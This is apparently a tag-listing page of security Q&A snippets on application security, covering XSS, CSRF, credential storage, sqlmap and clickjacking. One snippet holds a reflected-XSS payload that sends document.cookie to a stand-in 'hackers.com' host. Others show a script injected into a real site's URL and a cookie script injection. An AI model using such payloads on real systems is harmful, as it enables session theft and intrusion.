Application security - Specific to security concerns for an application that are independent from the underlying operating system, or surrounding infrastructure. Pertains to the design / architecture, source code, patching and maintenance cycle, or deployment and configuration of this software.

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Verifying one specific attack vector of Cross Site Scripting

Burp suggests that there is a reflection.. It changes a value of a cookie named as x as x=<script src=abc.js> and in response this value gets injected to a javascript function.. <script type=...
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Using Selenium tool for xss scripts

Ok, so i need to know can Selenium webdriver tool be used for testing xss vulnerabilities and exploits. If its possible, then pleasee provide me with some example or tutorial. Apologizes, if am wrong ...
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95 views

Applications security review [closed]

When a company wants to buy a new application, the security aspects must be reviewed (access rights, privileges, logs, data integrity ... etc). Is there a standard for applications security reviews? ...
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260 views

Are there “LAN IPs” on the internet?

I have a home-made web application and thought that an easy way to secure it's administration interface would be to simply reject all IPs that arent from 192.168... Is this viable? is it possible for ...
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2k views

Are there any web application security standards?

Are there any web application security standards that I can use as a baseline for the security related requirements for a web application, web service, and for applications supported/hosted by third ...
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1answer
390 views

Cross site scripting in url? [duplicate]

I currently have a xss problem in this site. https://bbcpanningen.cupweb6.nl:1311/servlet/OMSALogin?msgStatus="><script>alert("hello") </script> But I don't understand how an ...
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1answer
511 views

Bounds checking using Intel's MPX

Intel has recently added new instructions to their instruction set to support bounds checking. Intel calls them the Memory Protection Extensions (MPX), and they are described in Chapter 9 of this ...
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944 views

XSS scripts in console

Well i need to know is it possible to enter xss script through console of developer's tools(e.g. : firebug of firefox)? Is this a proper way ?
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1answer
122 views

Recommendations about procedures and policies for an application security strategy? [closed]

I need to develop an application security strategy for a web application product. Do you have any recommendations as far as procedures and policies are concerned? Any inputs / guidelines or relevant ...
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4answers
2k views

Can Cross site scripting lead to database access?

I wanna know that weather a site having XSS vulnerability can lead the hacker to access database? I know that he can get the username and password from the cookie stored but can he completely access ...
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2answers
18k views

sqlmap unable to find SQL injection vulnerablitity

so i just started up with sqlmap to learn sql injection vulnerability on my application. Here I followed steps as per some tutorials. So this are the steps which i followed : sqlmap.py -u "http://...
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1answer
109 views

How to track MAC policy violations back to HTTP request?

Suppose there is a web application under public load that runs under a very restrictive MAC (e.g., SELinux, TOMOYO, Grsecurity) policy. Suppose we detect and log a MAC policy violation like a file ...
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1answer
95 views

Is it safe to remove these groups from the Local Security Policy area?

I'm trying to edit a particular section inside the Local Security Policy snap in and I'm wondering if I really need to give all of these groups (I think they're groups) permissions. Based on this ...
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127 views

Setting expectations of a vulnerability assessment?

Is it reasonable to refuse to guarantee that you will find 100% of security issues when doing a vulnerability assessment on a website? Even with companies like Google that have teams of security ...
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1answer
407 views

PHP gethostbyname security implications

I'm working on a PHP application. There is a requirement to find IP's by hostname and i have to resort to gethostbynamel for that. Looks like there is no other way. I was wondering if there are any ...
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2answers
12k views

Reflected XSS attack via POST request and XML payload

I know that a reflected XSS can be done with a GET request like: http://site.com?search=<script>location.href='http://hackers.com?sessionToken='+document.cookie;</script> As long the ...
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4answers
1k views

Comparing Man-in-the-Middle with Man-in-the-Browser

According to OWASP the Man-in-the-Browser (Malware-in-the-Middle) attack uses the same approach as Man-in-the-middle attack, but the differences is that interception is done at the application layer ...
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2answers
2k views

XSS prevention for RESTful services

A RESTful service is currently protected against XSS attacks by applying XML schema- and entity validation. In both cases this is done via a regular expression like: <xs:pattern value="[0-9]{1}[0-...
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CSRF prevention for RESTful services

Am I right If I claim on that there doesn't exist any reliable protection against CSRF for a stateles environment today? I have a RESTful service (build with RESTEasy) that needs to be secured against ...
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1answer
297 views

Course project that teaches secure design

I'm looking for a class project that (1) is scalable to large classes, and (2) teaches secure design. This is for an undergraduate course on computer security. Hopefully, it would be educational and ...
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253 views

Queues for Mobile Web Application Security Architecture?

Dear Security Mavens (of which I am not), Your thoughts & suggestions regarding an application architecture for a mobile web application (e.g., HTML5 with Sencha Touch) are invited & welcomed....
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4answers
1k views

How should a webmaster manage all her passwords and keys?

I have several private keys that I use to ssh into AWS, dreamhost, github, etc. I have passphrases for all of these private keys that are too complex to remember. I have mysql passwords that my ...
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2answers
1k views

How to store an encryption key on shared hosting?

I am designing a simple online patient management system that is running on shared hosting. According to national regulation sensitive data should be encrypted when used online, so I have encrypted ...
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1answer
247 views

Credential (et al) storage on Android - And general application credential storage inquiry [closed]

Please read before assuming this should go in another forum (like an android forum) - this is a Security question. Here is the scenario: Developing an health care based android application that has ...
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2answers
573 views

Do SPA applications have different security considerations than HTML5 sites?

I'm looking into Single Page Applications that are used for both mobile development (PhoneGap) and regular websites. Since the application can load from a offline copy, can run from http://...
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1answer
991 views

HIPAA: How am I required to secure PHI database access creds on my web server?

Assuming I have a database of PHI that my web application needs to access, how am I required to secure the credentials on the webserver that the web application uses to access this database? Is ...
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3answers
978 views

CSRF possible if params are not passed through query string?

I was reading up on OWASP's page on CSRF and in their example they use a request where the sensitive parameters are stored in the query string: http://bank.com/transfer.do?acct=MARIA&amount=...
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2answers
269 views

Dual Authorization (Social Auth 2.0)

Can you see any obvious challenges to requiring 2+ users to confirm authentication requests using an association such as a friendship type of relationship. A practical application would be an ...
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344 views

If my website does not take any user input, is there any danger in showing my code and folder structure?

First time posting here; apologies for any mistakes I've made, please edit, retag, migrate as appropriate. I have a simple homepage whose purpose is (essentially) to contain my contact info and some ...
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1answer
587 views

Are there any risk in serving static assets via compressed SSL protocol from 3rd party domain?

e.g. curl -v -H 'Accept-Encoding: gzip' 'https://cdnjs.cloudflare.com/ajax/libs/Colors.js/1.2.2/colors.min.js' As you can see, result is gzipped. My assumption is since they are serving from 3rd ...
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198 views

Signed URL's as a security measure

Would implementing signed URL's be an effective security measure to prevent URL tampering and poisoning on public facing resources accessed via a GET request. e.g. http://www.domain.com/:...
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3answers
2k views

Implementing 'Remember Me' for a mobile application

I am developing a mobile application wherein I need to implement the 'Remember Me' functionality. There are certain pages within the application which require you to login. What I need to do is, if ...
3
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1answer
786 views

How can I check the iframe on my website is secure or not?

My website has an iframe used for loading my client's websites (only 5).How can I make sure the iframe is secure? Also by editing iframe src It allows to load any other websites.How can I prevent it?
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ESAPI: Input and output validation [closed]

I am new to IT Security and I have been tasked with coming up with input and output validation for ESAPI. So for input validation, so far I got: Data Type Name Email ...
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796 views

Comprehensive & current book on native application exploit research & development [closed]

Is there a 'must read', comprenhensive book on native application exploit development? Covering the process of finding vulnerabilities (fuzzing, reverse engineering, code analysis, etc...) & ...
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1answer
1k views

Using Apple NSKeyedArchiver class without encryption to save score data locally

first of all I'm sorry for my bad English! I have a question about the security of NSKeyedArchiver, a subclass of NSCoder of Apple Foundation.framework (https://developer.apple.com/library/mac/#...
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3answers
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Uploading files through an HTTPS web application

We have a client facing web site. A certificate is required to land on the login page, where upon you then need a username and a password to further login. System has Apache servers acting as load ...
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2answers
231 views

What fraction of software bugs are vulnerabilities?

What fraction of software bugs are security vulnerabilities? Obviously, software bugs can be security vulnerabilities -- but also obviously, many software bugs have little or no security impact. Is ...
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492 views

Are there any HTTP servers that can detect two cookies with the same name, but issued from different subdomains?

As a follow up to the Related Domain Cookie Attack question, I'd like to see if there are any servers that are able to detect instances where multiple cookies are sent from multiple domains. In other ...
2
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1answer
106 views

Stack smashing protection, reordering variables

So few days ago I started reading a paper about bypassing SSP/ProPolice and after I read it all I tried the bypasses but they didn't work. This is the code I used: int f (char ** argv){ ...
3
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1answer
320 views

Secure information exchange between web applications using browser redirection

We're implementing a web application (US) that needs to exchange sensitive information with a third-party web application (THEM). The way we'd like it to work is that an end user clicks a hyperlink, ...
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2answers
138 views

Should I put a potentially insecure program online?

OK: a forward. I am not a security expert. I am one of four kids at a high school working on a project. I don't have any experience with real-life situations where security is a concern. I have a ...
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2answers
264 views

Is it worth following OWASP AppSensor for an open source web application?

I'm thinking of following OWASP's AppSensor project to build application-level intrusion detection into an existing open source web application. I think there is some value in using AppSensor to ...
4
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2answers
867 views

Executing arbitrary commands through iptables-restore input

During a pentest I found a way to add arbitrary iptables firewall rules to a server. These rules get applied by way of the iptables-restore command, and I've been wondering whether there is any way to ...
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Is writing shellcode still a valid skill to have/learn?

Following up from this question: Should I bother teaching buffer overflows any more? I am a it sec researcher and also security course instructor. Recently questions have been raised about the ...
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4answers
2k views

Is it okay to reveal database's table names?

I'm developing web application that uses database. I have to do some operations which needs database table names and db table schema. Will it be secure if I send this kind of information to client ...
8
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3answers
769 views

How are large tech sites such as LivingSocial, Zappos, LinkedIn and Evernote hacked?

How are large tech sites such as LivingSocial, Zappos, LinkedIn and Evernote hacked? (i.e. how is their entire dataset of users obtained?) LivingSocial - 50 Million Users Exposed Zappos - 24 Million ...
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935 views

Security Scanning for Desktop Applications

Our company develops Windows desktop applications. We offer off the shelf solutions - not custom development. A potential new customer wants to add a section to our standard contract that requires ...
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1k views

Secure yet reversible encryption for local data store

I'm working on a piece of software to store and manage records for a youth group. They've found that a lot of the time they spend on record-keeping and admin is taken up by scanning through looking ...
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1answer
673 views

How to hide victim pop-up in clickjacking?

I am testing a web application for click-jacking vulnerability. The attack works fine for single clicks, however i am trying to delete a file and the hidden frame (victim) throws a pop-up confirmation....